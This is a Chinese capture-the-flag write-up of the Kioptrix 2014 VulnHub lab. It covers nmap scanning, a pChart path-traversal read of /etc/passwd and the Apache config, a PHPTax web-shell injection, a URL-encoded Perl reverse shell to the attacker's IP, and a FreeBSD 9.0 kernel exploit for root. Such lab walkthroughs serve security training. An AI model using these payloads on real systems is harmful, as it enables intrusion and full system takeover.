一、介绍
运行环境:Virtualbox和vmware
攻击机:kali(192.168.56.101)
靶机:Kioptrix: 2014(192.168.56.108)
目标:获取靶机root权限和flag
靶机下载地址:https://www.vulnhub.com/entry/kioptrix-2014-5,62/
二、信息收集
靶机下载下来之后,直接运行使用nmap扫描检测不到IP地址
需要删除靶机原来的网卡,再重新添加网卡上去。
使用nmap主机发现靶机ip:192.168.56.108
使用nmap端口扫描发现靶机开放端口:22、80、8080
nmap -A 192.168.56.108 -p 1-65535
打开网站该网站是一个静态页面,查看源码发现隐藏信息:URL=pChart2.1.3/index.php
访问pChart2.1.3/index.php
,该页面CMS为pChart2.1.3
使用searchsploit搜索pChart2.1.3的历史漏洞,并将找到的结果导出、查看
发现一个任意文件读取漏洞
/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd
浏览器访问,验证该漏洞
三、漏洞利用
在 FreeBSD 中,Apache HTTP 服务器的主配置文件安装为 /usr/local/etc/apache2x/httpd.conf,其中 x 表示版本号。
参考:https://fiercex.github.io/FreeBSD_Handbook_d2l/di-32-zhang-wang-luo-fu-wu-qi/32.8.-apache-http-fu-wu-qi.html
根据nmap扫描结果apache的版本为2.2.21,所以访问:http://192.168.56.108/pChart2.1.3/examples/index.php?Action=View&Script=/usr/local/etc/apache22/httpd.conf
,查看靶机apache的配置文件,在文件发现配置,访问8080端口需要User-Agent
为Mozilla/4.0
访问8080端口,禁止访问
我们User-Agent
设置为Mozilla/4.0
,发现一个目录phptax/
访问该目录,可以看到该网站CMS为PHPTAX
使用searchsploit搜索PHPTAX的历史漏洞,发现命令执行漏洞
将这几个exp导出,都尝试一下,查看25849.txt
,里面有一个php的exp,加入设置User-Agent的代码,尝试执行发现报错。
直接查看php的exp源码,该exp访问两个url,来命令执行
访问http://192.168.56.108:8080/phptax/index.php?field=rce.php&newvalue=%3C%3Fphp%20passthru(%24_GET%5Bcmd%5D)%3B%3F%3E
将命令执行代码写入rce.php
访问http://192.168.56.108:8080/phptax/data/rce.php?cmd=id
执行id命令
使用perl反弹shell成功:http://192.168.56.108:8080/phptax/data/rce.php?cmd=perl%20-e%20'use%20Socket%3B%24i%3D%22192.168.56.101%22%3B%24p%3D4444%3Bsocket(S%2CPF_INET%2CSOCK_STREAM%2Cgetprotobyname(%22tcp%22))%3Bif(connect(S%2Csockaddr_in(%24p%2Cinet_aton(%24i))))%7Bopen(STDIN%2C%22%3E%26S%22)%3Bopen(STDOUT%2C%22%3E%26S%22)%3Bopen(STDERR%2C%22%3E%26S%22)%3Bexec(%22%2Fbin%2Fsh%20-i%22)%3B%7D%3B'
四、提权
使用命令uname -a
查看系统的内核版本,为FreeBSD 9.0-RELEASE
使用searchsploit搜索该版本的历史漏洞
searchsploit FreeBSD 9.0
选用26368.c,使用web服务上传exp到靶机,但发现靶机没有wget命令
使用echo '''exp code''' > exp.c
命令将exp代码写入靶机
将exp.c编译执行,得到root权限
参考链接:https://www.freebuf.com/column/211565.html